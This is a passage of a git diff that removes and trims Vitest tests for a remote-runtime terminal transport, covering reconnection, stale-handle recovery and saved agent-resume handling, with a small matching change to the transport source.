-            code: 'remote_runtime_unavailable'
-          })
-        }
-        throw Object.assign(new Error('Remote runtime pairing credentials expired.'), {
-          code: 'unauthorized'
-        })
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const onError = vi.fn()
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@stale-client-handle',
-        callbacks: { onError }
-      })
-      await vi.advanceTimersByTimeAsync(250)
-
-      expect(onError).toHaveBeenCalledWith('Remote runtime pairing credentials expired.')
-      expect(transport.getRecoveryState?.().phase).toBe('offline')
-      const attemptsAfterFatalError = activateAttempts
-
-      await vi.advanceTimersByTimeAsync(5 * 60_000)
-      expect(activateAttempts).toBe(attemptsAfterFatalError)
-      expect(transport.getRecoveryState?.().phase).toBe('offline')
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('does not restart web mirror recovery when an in-flight request rejects after cutoff', async () => {
-    vi.useFakeTimers()
-    try {
-      const healthyRuntimeCall = runtimeCall.getMockImplementation()
-      let rejectInFlight: (error: Error) => void = () => {}
-      let activateAttempts = 0
-      runtimeCall.mockImplementation((request: { method: string }) => {
-        if (request.method !== 'session.tabs.activate') {
-          throw new Error(`Unexpected method ${request.method}`)
-        }
-        activateAttempts += 1
-        if (activateAttempts === 1) {
-          return Promise.reject(
-            Object.assign(new Error('Remote Orca runtime closed the connection.'), {
-              code: 'remote_runtime_unavailable'
-            })
-          )
-        }
-        return new Promise((_, reject) => {
-          rejectInFlight = reject
-        })
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@stale-client-handle',
-        callbacks: {}
-      })
-      await vi.advanceTimersByTimeAsync(250)
-      expect(activateAttempts).toBe(2)
-
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      rejectInFlight(
-        Object.assign(new Error('Remote Orca runtime closed the connection.'), {
-          code: 'remote_runtime_unavailable'
-        })
-      )
-      await vi.advanceTimersByTimeAsync(5 * 60_000)
-
-      expect(activateAttempts).toBe(2)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      runtimeCall.mockImplementation(healthyRuntimeCall!)
-      expect(transport.retryRecovery?.()).toBe(true)
-      await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(1))
-      expect(latestSubscribePayload().terminal).toBe('terminal-1')
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('does not restart web mirror recovery when subscription rejects after cutoff', async () => {
-    vi.useFakeTimers()
-    try {
-      const healthyRuntimeCall = runtimeCall.getMockImplementation()
-      let activateAttempts = 0
-      runtimeCall.mockImplementation(async (request: { method: string; params?: unknown }) => {
-        if (request.method === 'session.tabs.activate' && activateAttempts++ === 0) {
-          throw Object.assign(new Error('Remote Orca runtime closed the connection.'), {
-            code: 'remote_runtime_unavailable'
-          })
-        }
-        return healthyRuntimeCall?.(request)
-      })
-      let rejectSubscription: (error: Error) => void = () => {}
-      runtimeSubscribe.mockImplementation(
-        () =>
-          new Promise((_, reject) => {
-            rejectSubscription = reject
-          })
-      )
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@stale-client-handle',
-        callbacks: {}
-      })
-      await vi.advanceTimersByTimeAsync(250)
-      expect(runtimeSubscribe).toHaveBeenCalledTimes(1)
-
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      rejectSubscription(
-        Object.assign(new Error('Remote Orca runtime closed the connection.'), {
-          code: 'remote_runtime_unavailable'
-        })
-      )
-      await vi.advanceTimersByTimeAsync(0)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      await vi.advanceTimersByTimeAsync(5 * 60_000)
-
-      expect(runtimeSubscribe).toHaveBeenCalledTimes(1)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('does not subscribe after mirror metadata resolution crosses the recovery cutoff', async () => {
-    vi.useFakeTimers()
-    try {
-      const healthyRuntimeCall = runtimeCall.getMockImplementation()
-      let activateAttempts = 0
-      let resolveMetadata: (value: unknown) => void = () => {}
-      runtimeCall.mockImplementation((request: { method: string; params?: unknown }) => {
-        if (request.method === 'session.tabs.activate' && activateAttempts++ === 0) {
-          return Promise.reject(
-            Object.assign(new Error('Remote Orca runtime closed the connection.'), {
-              code: 'remote_runtime_unavailable'
-            })
-          )
-        }
-        if (request.method === 'terminal.resolvePane') {
-          return new Promise((resolve) => {
-            resolveMetadata = resolve
-          })
-        }
-        return healthyRuntimeCall?.(request)
-      })
-      const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-      const transport = createRemoteRuntimePtyTransport('env-1', {
-        worktreeId: 'wt-1',
-        tabId: 'web-terminal-host-tab-1',
-        leafId: 'pane:1'
-      })
-
-      transport.attach({
-        existingPtyId: 'remote:env-1@@stale-client-handle',
-        callbacks: {}
-      })
-      await vi.advanceTimersByTimeAsync(250)
-      expect(runtimeCall).toHaveBeenCalledWith(
-        expect.objectContaining({ method: 'terminal.resolvePane' })
-      )
-
-      await vi.advanceTimersByTimeAsync(REMOTE_RUNTIME_AUTO_RECOVERY_TIMEOUT_MS)
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-
-      resolveMetadata({
-        ok: true,
-        result: {
-          terminal: {
-            handle: 'terminal-1',
-            tabId: 'host-tab-1',
-            leafId: 'pane:1',
-            worktreeId: 'wt-1'
-          }
-        }
-      })
-      await vi.advanceTimersByTimeAsync(0)
-
-      expect(runtimeSubscribe).not.toHaveBeenCalled()
-      expect(transport.getRecoveryState?.().phase).toBe('disconnected')
-      transport.destroy?.()
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
-  it('ignores stale web mirror inventory failure after a newer connect lifecycle', async () => {
-    const healthyRuntimeCall = runtimeCall.getMockImplementation()
-    let rejectStaleInventory: (error: Error) => void = () => {}
-    let activateAttempts = 0
-    runtimeCall.mockImplementation((request: { method: string; params?: unknown }) => {
-      if (request.method === 'session.tabs.activate' && activateAttempts++ === 0) {
-        return new Promise((_, reject) => {
-          rejectStaleInventory = reject
-        })
-      }
-      return healthyRuntimeCall?.(request)
-    })
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const staleOnError = vi.fn()
-    const currentOnError = vi.fn()
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'pane:1'
-    })
-
-    transport.attach({
-      existingPtyId: 'remote:env-1@@stale-client-handle',
-      callbacks: { onError: staleOnError }
-    })
-    await vi.waitFor(() => expect(activateAttempts).toBe(1))
-    await transport.connect({ url: '', callbacks: { onError: currentOnError } })
-    await vi.waitFor(() => expect(runtimeSubscribe).toHaveBeenCalledTimes(1))
-
-    rejectStaleInventory(
-      Object.assign(new Error('Remote runtime pairing credentials expired.'), {
-        code: 'unauthorized'
-      })
-    )
-    for (let index = 0; index < 20; index += 1) {
-      await Promise.resolve()
-    }
-
-    expect(staleOnError).not.toHaveBeenCalled()
-    expect(currentOnError).not.toHaveBeenCalled()
-    expect(runtimeSubscribe).toHaveBeenCalledTimes(1)
-    transport.destroy?.()
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport.ts
index faefc6be092..4f4118ef6e0 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport.ts
@@ -123,7 +123,10 @@ import {
   createAgentSessionCreateOperation,
   withAgentSessionCreateOperationId
 } from '@/runtime/hosted-terminals/creation/agent-launch/agent-session-create-operation'
-import { replaceFitOverridePtyId, setFitOverride } from '@/lib/pane-manager/mobile-fit-overrides'
+import {
+  replaceFitOverridePtyId,
+  setFitOverride
+} from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import { replaceDriverPtyId, setDriverForPty } from '@/lib/pane-manager/mobile-driver-state'
 import {
   isWebTerminalSurfaceTabId,
@@ -4151,6 +4154,8 @@ export function createRemoteRuntimePtyTransport(
       return !destroyed && !terminalEnded && recoveryBlocksIo()
     },
 
+    isHoldingInput: shouldHoldInput,
+
     hasUndeliveredInput() {
       return (
         inputJournal.hasUnacknowledgedInput() ||
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-resubscribe-failure-recovery-routing.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-resubscribe-failure-recovery-routing.test.ts
deleted file mode 100644
index e0bc9465da6..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-resubscribe-failure-recovery-routing.test.ts
+++ /dev/null
@@ -1,338 +0,0 @@
-/** Nonrecoverable resubscribe errors still need central lifecycle routing: stale handles recover, gone/exit retire, SSH expiry delegates to the HUB, and oversized snapshots remain informational. Inject after a connected stream closes. */
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-const appStore = vi.hoisted(() => ({
-  getState: vi.fn(() => {
-    throw new Error('These transport fixtures must not read app-store ownership')
-  })
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: appStore.getState } }))
-
-afterEach(() => {
-  expect(appStore.getState).not.toHaveBeenCalled()
-})
-
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame,
-  decodeTerminalStreamJson,
-  encodeTerminalStreamFrame,
-  encodeTerminalStreamJson,
-  encodeTerminalStreamText
-} from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import type { PtyTransport } from '../pty-transport-types'
-import { stubRuntimeEnvironmentBridge } from '../../../../runtime/rpc/testing/runtime-environment-bridge-fixture'
-
-type ResolvePaneOutcome = { handle: string } | { error: Error }
-
-const PANE_TAB_ID = 'tab-1'
-const PANE_LEAF_ID = 'pane:1'
-const PANE_WORKTREE_ID = 'wt-1'
-const FIRST_HANDLE = 'terminal-1'
-const FIRST_PTY_ID = 'remote:env-1@@terminal-1'
-
-describe('remote runtime resubscribe failure: recovery routing', () => {
-  const runtimeCall = vi.fn()
-  const runtimeSubscribe = vi.fn()
-  const refreshSessionTabsSnapshot = vi.fn(async () => {})
-  const subscriptionSendBinary = vi.fn()
-  let subscriptionCallbacks: {
-    onResponse: (response: unknown) => void
-    onBinary?: (bytes: Uint8Array<ArrayBufferLike>) => void
-    onError?: (error: { code: string; message: string }) => void
-    onClose?: () => void
-  } | null = null
-  /** Consumed in order by terminal.resolvePane; the last entry repeats. */
-  let resolvePaneOutcomes: ResolvePaneOutcome[] = [{ handle: FIRST_HANDLE }]
-  let recoverPaneOutcome: ResolvePaneOutcome = { handle: FIRST_HANDLE }
-  let methodLog: string[] = []
-  let subscribeOutcomes: (Error | null)[] = []
-
-  function emitMultiplexReady(): void {
-    subscriptionCallbacks?.onResponse({ ok: true, result: { type: 'ready' } })
-  }
-
-  function latestSubscribePayload(): { streamId: number; terminal: string } {
-    const frame = subscriptionSendBinary.mock.calls
-      .map((call) => decodeTerminalStreamFrame(call[0]))
-      .findLast((candidate) => candidate?.opcode === TerminalStreamOpcode.Subscribe)
-    if (!frame) {
-      throw new Error('missing terminal subscribe frame')
-    }
-    const payload = decodeTerminalStreamJson<{ streamId: number; terminal: string }>(frame.payload)
-    if (!payload) {
-      throw new Error('invalid terminal subscribe payload')
-    }
-    return payload
-  }
-
-  function subscribedTerminalHandles(): string[] {
-    return subscriptionSendBinary.mock.calls
-      .map((call) => decodeTerminalStreamFrame(call[0]))
-      .flatMap((frame) => {
-        if (frame?.opcode !== TerminalStreamOpcode.Subscribe) {
-          return []
-        }
-        const payload = decodeTerminalStreamJson<{ terminal: string }>(frame.payload)
-        return payload ? [payload.terminal] : []
-      })
-  }
-
-  function emitSnapshot(streamId: number, data: string): void {
-    subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotStart,
-        streamId,
-        seq: 1,
-        payload: encodeTerminalStreamJson({ kind: 'scrollback' })
-      })
-    )
-    subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotChunk,
-        streamId,
-        seq: 2,
-        payload: encodeTerminalStreamText(data)
-      })
-    )
-    subscriptionCallbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotEnd,
-        streamId,
-        seq: 3,
-        payload: new Uint8Array()
-      })
-    )
-  }
-
-  function nextOutcome(outcomes: ResolvePaneOutcome[]): ResolvePaneOutcome {
-    return outcomes.length > 1 ? (outcomes.shift() as ResolvePaneOutcome) : outcomes[0]
-  }
-
-  function paneResult(handle: string, paneKey: string, worktreeId: string): unknown {
-    const separator = paneKey.indexOf(':')
-    return {
-      ok: true,
-      result: {
-        terminal: {
-          handle,
-          tabId: paneKey.slice(0, separator),
-          leafId: paneKey.slice(separator + 1),
-          worktreeId
-        }
-      }
-    }
-  }
-
-  /** Fails the pane's next resubscribe with `error`, then serves `thenHandle`. */
-  function failNextResubscribeWith(error: Error, thenHandle = FIRST_HANDLE): void {
-    resolvePaneOutcomes = [{ error }, { handle: thenHandle }]
-    methodLog = []
-  }
-
-  async function attachLivePane(
-    overrides: Partial<{ tabId: string; leafId: string }> & {
-      onError?: (message: string) => void
-      onPtyExit?: (ptyId: string) => void
-      onPtyRebind?: (nextPtyId: string, previousPtyId: string) => void
-    }
-  ): Promise<PtyTransport> {
-    const { onError, onPtyExit, onPtyRebind, ...ids } = overrides
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: PANE_WORKTREE_ID,
-      ...('tabId' in ids ? { tabId: ids.tabId } : { tabId: PANE_TAB_ID }),
-      ...('leafId' in ids ? { leafId: ids.leafId } : { leafId: PANE_LEAF_ID }),
-      onPtyExit,
-      onPtyRebind
-    })
-    transport.attach({
-      existingPtyId: FIRST_PTY_ID,
-      cols: 80,
-      rows: 24,
-      callbacks: { onError }
-    })
-    await vi.waitFor(() => expect(subscriptionSendBinary).toHaveBeenCalled())
-    emitSnapshot(latestSubscribePayload().streamId, 'live before the fault')
-    expect(transport.isConnected()).toBe(true)
-    return transport
-  }
-
-  /** Kills the multiplexed stream so the transport enters recovery with a live epoch. */
-  function dropMultiplexedStream(): void {
-    subscriptionCallbacks?.onClose?.()
-  }
-
-  beforeEach(() => {
-    vi.resetModules()
-    vi.doUnmock(
-      '../../../../runtime/hosted-terminals/streams/registry/remote-runtime-terminal-multiplexer-registry'
-    )
-    vi.doMock('@/runtime/web-session-tabs-sync/inventory/web-runtime-session-snapshot', () => ({
-      refreshWebRuntimeSessionTabsSnapshot: refreshSessionTabsSnapshot
-    }))
-    vi.clearAllMocks()
-    subscriptionCallbacks = null
-    subscriptionSendBinary.mockReset()
-    resolvePaneOutcomes = [{ handle: FIRST_HANDLE }]
-    recoverPaneOutcome = { handle: FIRST_HANDLE }
-    subscribeOutcomes = []
-    methodLog = []
-    runtimeCall.mockImplementation(async (request: { method: string; params?: unknown }) => {
-      methodLog.push(request.method)
-      if (request.method === 'terminal.resolvePane') {
-        const params = request.params as { paneKey: string; worktreeId: string }
-        const outcome = nextOutcome(resolvePaneOutcomes)
-        if ('error' in outcome) {
-          throw outcome.error
-        }
-        return paneResult(outcome.handle, params.paneKey, params.worktreeId)
-      }
-      if (request.method === 'terminal.recoverPane') {
-        const params = request.params as { paneKey: string; worktreeId: string }
-        if ('error' in recoverPaneOutcome) {
-          throw recoverPaneOutcome.error
-        }
-        return paneResult(recoverPaneOutcome.handle, params.paneKey, params.worktreeId)
-      }
-      return { ok: true, result: { terminal: { handle: FIRST_HANDLE } } }
-    })
-    runtimeSubscribe.mockImplementation(
-      async (_args: unknown, callbacks: typeof subscriptionCallbacks) => {
-        const outcome = subscribeOutcomes.shift()
-        if (outcome) {
-          throw outcome
-        }
-        subscriptionCallbacks = callbacks
-        queueMicrotask(emitMultiplexReady)
-        return { unsubscribe: vi.fn(), sendBinary: subscriptionSendBinary }
-      }
-    )
-    stubRuntimeEnvironmentBridge({ call: runtimeCall, subscribe: runtimeSubscribe })
-  })
-
-  it('re-resolves and adopts the replacement handle when a resubscribe fails stale', async () => {
-    const onError = vi.fn()
-    const onPtyRebind = vi.fn()
-    const transport = await attachLivePane({ onError, onPtyRebind })
-
-    // Only replacement-required resolution can reach the host’s already-minted successor.
-    failNextResubscribeWith(new Error('terminal_handle_stale'), 'terminal-2')
-    dropMultiplexedStream()
-
-    await vi.waitFor(() => expect(subscribedTerminalHandles()).toContain('terminal-2'))
-    // Two resolvePane round-trips: the stale one, then the require-replacement retry.
-    expect(methodLog.filter((method) => method === 'terminal.resolvePane')).toHaveLength(2)
-    expect(onPtyRebind).toHaveBeenCalledWith('remote:env-1@@terminal-2', FIRST_PTY_ID)
-    expect(transport.getPtyId()).toBe('remote:env-1@@terminal-2')
-
-    emitSnapshot(latestSubscribePayload().streamId, 'after replacement')
-    expect(transport.isConnected()).toBe(true)
-    expect(transport.getRecoveryState?.().phase).toBe('connected')
-    expect(onError).not.toHaveBeenCalled()
-    transport.destroy?.()
-  })
-
-  it('retires the pane when the stale resubscribe finds only the fenced handle', async () => {
-    const onError = vi.fn()
-    const onPtyExit = vi.fn()
-    const transport = await attachLivePane({ onError, onPtyExit })
-
-    // Do not reuse a fenced handle when inventory offers no replacement.
-    failNextResubscribeWith(new Error('terminal_handle_stale'), FIRST_HANDLE)
-    dropMultiplexedStream()
-
-    await vi.waitFor(() => expect(onPtyExit).toHaveBeenCalledWith(FIRST_PTY_ID, -1))
-    expect(methodLog.filter((method) => method === 'terminal.resolvePane')).toHaveLength(2)
-    expect(subscribedTerminalHandles().filter((handle) => handle === FIRST_HANDLE)).toHaveLength(1)
-    expect(transport.getRecoveryState?.().phase).toBe('ended')
-    expect(transport.getPtyId()).toBeNull()
-    expect(onError).not.toHaveBeenCalled()
-    transport.destroy?.()
-  })
-
-  it('retires a pane whose stale resubscribe has no tab/leaf ids to re-resolve', async () => {
-    const onError = vi.fn()
-    const onPtyExit = vi.fn()
-    const transport = await attachLivePane({
-      tabId: undefined,
-      leafId: undefined,
-      onError,
-      onPtyExit
-    })
-
-    // Without pane coordinates, stale subscription errors cannot re-resolve ownership.
-    subscribeOutcomes = [new Error('terminal_handle_stale')]
-    dropMultiplexedStream()
-
-    await vi.waitFor(() => expect(onPtyExit).toHaveBeenCalledWith(FIRST_PTY_ID, -1))
-    expect(transport.getRecoveryState?.().phase).toBe('ended')
-    expect(transport.getPtyId()).toBeNull()
-    expect(onError).not.toHaveBeenCalled()
-    transport.destroy?.()
-  })
-
-  it('retires the pane when a resubscribe fails with terminal-gone', async () => {
-    const onError = vi.fn()
-    const onPtyExit = vi.fn()
-    const transport = await attachLivePane({ onError, onPtyExit })
-
-    failNextResubscribeWith(new Error('terminal_gone'))
-    dropMultiplexedStream()
-
-    await vi.waitFor(() => expect(onPtyExit).toHaveBeenCalledWith(FIRST_PTY_ID))
-    // Lifecycle evidence, not a replaceable handle: no second re-resolve.
-    expect(methodLog.filter((method) => method === 'terminal.resolvePane')).toHaveLength(1)
-    expect(transport.getRecoveryState?.().phase).toBe('ended')
-    expect(transport.getPtyId()).toBeNull()
-    expect(onError).not.toHaveBeenCalled()
-    transport.destroy?.()
-  })
-
-  it('recovers the host pane when a resubscribe fails with an expired SSH session', async () => {
-    const onError = vi.fn()
-    const onPtyRebind = vi.fn()
-    const transport = await attachLivePane({ onError, onPtyRebind })
-
-    recoverPaneOutcome = { handle: 'terminal-3' }
-    failNextResubscribeWith(new Error('SSH_SESSION_EXPIRED'))
-    dropMultiplexedStream()
-
-    await vi.waitFor(() => expect(methodLog).toContain('terminal.recoverPane'))
-    expect(runtimeCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.recoverPane',
-        params: {
-          paneKey: `${PANE_TAB_ID}:${PANE_LEAF_ID}`,
-          worktreeId: PANE_WORKTREE_ID,
-          expectedTerminal: FIRST_HANDLE
-        }
-      })
-    )
-    await vi.waitFor(() => expect(subscribedTerminalHandles()).toContain('terminal-3'))
-    expect(onPtyRebind).toHaveBeenCalledWith('remote:env-1@@terminal-3', FIRST_PTY_ID)
-
-    emitSnapshot(latestSubscribePayload().streamId, 'after ssh pane recovery')
-    expect(transport.isConnected()).toBe(true)
-    expect(onError).not.toHaveBeenCalled()
-    transport.destroy?.()
-  })
-
-  it('keeps an oversized-snapshot resubscribe failure informational', async () => {
-    const { REMOTE_TERMINAL_SNAPSHOT_TOO_LARGE } =
-      await import('../../../../runtime/hosted-terminals/snapshots/remote-terminal-snapshot-policy')
-    const onError = vi.fn()
-    const onPtyExit = vi.fn()
-    const transport = await attachLivePane({ onError, onPtyExit })
-
-    failNextResubscribeWith(new Error(REMOTE_TERMINAL_SNAPSHOT_TOO_LARGE))
-    dropMultiplexedStream()
-
-    await vi.waitFor(() => expect(transport.getRecoveryState?.().phase).toBe('disconnected'))
-    // The snapshot was skipped, not the terminal: no red banner, no retirement.
-    expect(onError).not.toHaveBeenCalled()
-    expect(onPtyExit).not.toHaveBeenCalled()
-    expect(transport.getPtyId()).toBe(FIRST_PTY_ID)
-    transport.destroy?.()
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-saved-result-consumer.test.ts b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-saved-result-consumer.test.ts
index 5e77eb7f314..0a635a0cbc9 100644
--- a/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-saved-result-consumer.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-saved-result-consumer.test.ts
@@ -1,19 +1,5 @@
 import { afterEach, beforeEach, expect, it, vi } from 'vitest'
 import type { TerminalAttachmentLaunchResult } from '../../../../../../shared/terminal/pty/lifecycle/terminal-attachment-launch-result'
-import type { ConnectPanePtySession } from '../../pty-connection/connect-pane-pty-session'
-import type { AgentLaunchConfigRegistryEntry } from '@/store/slices/agent-status/agent-status-contract'
-import { bindCaptureTransportOutputCallbacks } from '../../pty-connection/lifecycle/transport-output-callbacks'
-import { initializeHiddenOutputRestoreState } from '../../pty-connection/output-restore/hidden-output-restore-state'
-import { bindReplacedProcessInputModes } from '../../pty-connection/output/replaced-process-input-modes'
-import { bindPaneSerializerReadiness } from '../../pty-connection/serialization/pane-serializer-readiness'
-import { bindStartupDraftPaste } from '../../pty-connection/startup/startup-draft-paste'
-import { bindSessionRestoredBannerAdmission } from '../../pty-connection/notifications/session-restored-banner-admission'
-import { applyTerminalLaunchResult } from '../../pty-connection/startup/terminal-launch-result-policy'
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame
-} from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import { installSavedResumeStartupCancellation } from '../../pty-connection/startup/saved-resume-startup-cancellation'
 import { createRemoteRuntimeTransportMocks } from '../remote/remote-runtime-pty-transport-test-harness'
 import type { MultiplexSubscriptionCallbacks } from '../remote/remote-runtime-pty-transport-stream-fixtures'
 
@@ -21,293 +7,20 @@ const fixture = vi.hoisted(() => ({ state: {} }))
 vi.mock('@/store/index', () => ({ useAppStore: { getState: () => fixture.state } }))
 let subscriptionCallbacks: MultiplexSubscriptionCallbacks = null
 let resolvedPaneHandle = 'terminal-1'
-const {
-  runtimeCall,
-  subscriptionSendBinary,
-  latestSubscribePayload,
-  emitSnapshot,
-  inputFrameTexts,
-  resetRemoteRuntimeTransport
-} = createRemoteRuntimeTransportMocks({
-  getCallbacks: () => subscriptionCallbacks,
-  setCallbacks: (callbacks) => {
-    subscriptionCallbacks = callbacks
-  },
-  getResolvedPaneHandle: () => resolvedPaneHandle,
-  setResolvedPaneHandle: (handle) => {
-    resolvedPaneHandle = handle
-  }
-})
+const { runtimeCall, subscriptionSendBinary, latestSubscribePayload, resetRemoteRuntimeTransport } =
+  createRemoteRuntimeTransportMocks({
+    getCallbacks: () => subscriptionCallbacks,
+    setCallbacks: (callbacks) => {
+      subscriptionCallbacks = callbacks
+    },
+    getResolvedPaneHandle: () => resolvedPaneHandle,
+    setResolvedPaneHandle: (handle) => {
+      resolvedPaneHandle = handle
+    }
+  })
 beforeEach(resetRemoteRuntimeTransport)
 afterEach(() => vi.clearAllMocks())
 
-it.each([
-  'refused',
-  'adopted',
-  'adopted-D',
-  'observer-only',
-  'unavailable',
-  'legacy',
-  'ackless',
-  'malformed',
-  'bookkeeping-error',
-  'new-C',
-  'new-D',
-  'stale-generation'
-] as const)(
-  'delivers the actual mirror %s result to the pane without replaying or clearing newer work',
-  async (kind) => {
-    const { createRemoteRuntimePtyTransport } = await import('./remote-runtime-pty-transport')
-    const transport = createRemoteRuntimePtyTransport('env-1', {
-      worktreeId: 'wt-1',
-      tabId: 'web-terminal-host-tab-1',
-      leafId: 'pane:1'
-    })
-    const record = {
-      paneKey: 'web-terminal-host-tab-1:pane:1',
-      tabId: 'web-terminal-host-tab-1',
-      worktreeId: 'wt-1',
-      agent: 'codex' as const,
-      providerSession: { key: 'session_id' as const, id: 'C' },
-      connectionId: null,
-      state: 'done' as const,
-      prompt: '',
-      capturedAt: 10,
-      updatedAt: 10,
-      origin: 'worktree-sleep' as const
-    }
-    const source = { cancelled: false, record }
-    const startup = {
-      command: 'codex resume C',
-      launchAgent: 'codex' as const,
-      resumeProviderSession: record.providerSession,
-      resumeOrigin: 'saved' as const,
-      resumeSource: source
-    }
-    const registry: Record<string, AgentLaunchConfigRegistryEntry> = {}
-    const records = { [record.paneKey]: record }
-    const clearRecord = vi.fn((key: string) => {
-      delete records[key]
-    })
-    fixture.state = {
-      agentLaunchConfigByPaneKey: registry,
-      agentStatusByPaneKey: {},
-      sleepingAgentSessionsByPaneKey: records,
-      automaticAgentResumeClaimsByTabId: {},
-      pendingStartupByTabId: {},
-      tabsByWorktree: {},
-      consumeTabStartupCommand: vi.fn(() => {
-        if (kind === 'bookkeeping-error') {
-          throw new Error('bookkeeping failed')
-        }
-      }),
-      clearSleepingAgentSession: clearRecord
-    }
-    const note = vi.fn()
-    const register = vi.fn()
-    const callbacksReady = vi.fn()
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the real callback and cancellation installers use the supplied session members.
-    const session = {
-      transport,
-      pane: { id: 1, leafId: 'pane:1', container: { dataset: {} }, terminal: {} },
-      deps: {
-        worktreeId: 'wt-1',
-        tabId: record.tabId,
-        isVisibleRef: { current: true },
-        onShowSessionRestoredBanner: note,
-        paneTransportsRef: { current: new Map([[1, transport]]) }
-      },
-      cacheKey: record.paneKey,
-      paneStartup: kind === 'observer-only' ? null : startup,
-      pendingStartupCommand: kind === 'observer-only' ? null : startup,
-      shouldDeliverStartupViaTerminalPaste: true,
-      startupInjectTimer: null,
-      transportStreamGeneration: 0,
-      disposed: false,
-      createProcessExitState: () => ({ detector: { observe: vi.fn() } }),
-      clearRegisteredStartupLaunchConfig: vi.fn(),
-      registerEffectiveLaunchConfig: register,
-      showSessionRestoredBanner: note,
-      reportRemoteRendererSerializerReady: callbacksReady,
-      syncHiddenRendererPtyDelivery: vi.fn(),
-      catchUpMode2031: vi.fn(),
-      handleRemoteOutputPauseChanged: vi.fn(),
-      markHiddenOutputRestoreNeeded: vi.fn(),
-      beginReattachLiveDataDeferralIfUnowned: vi.fn(),
-      replayDataCallback: vi.fn(),
-      dataCallback: vi.fn()
-    } as unknown as ConnectPanePtySession
-    installSavedResumeStartupCancellation(session)
-    bindPaneSerializerReadiness(session)
-    bindStartupDraftPaste(session)
-    bindSessionRestoredBannerAdmission(session)
-    bindReplacedProcessInputModes(session)
-    session.reportRemoteRendererSerializerReady = callbacksReady
-    bindCaptureTransportOutputCallbacks(session)
-    initializeHiddenOutputRestoreState(session)
-    const output = session.captureTransportOutputCallbacks(vi.fn(), null)
-    const actualConfig = { agentCommand: 'codex', agentArgs: '--model actual', agentEnv: {} }
-    const launchResult: TerminalAttachmentLaunchResult = {
-      ptyId: 'physical-1',
-      incarnationId: 'incarnation-1',
-      ...(kind === 'adopted'
-        ? {}
-        : {
-            savedResumeDecision: {
-              agent: 'codex',
-              providerSession:
-                kind === 'adopted-D' ? { key: 'session_id', id: 'D' } : record.providerSession,
-              verdict: kind === 'unavailable' ? 'admitted' : 'chat-home'
-            },
-            agentResumeUnavailable: true,
-            ...(kind === 'unavailable' ? {} : { agentResumeRefused: 'chat-home' })
-          }),
-      ...(kind === 'adopted' || kind === 'adopted-D' || kind === 'unavailable'
-        ? {
-            launchAgent: 'codex',
-            launchToken: 'actual-token',
-            launchConfig: actualConfig
-          }
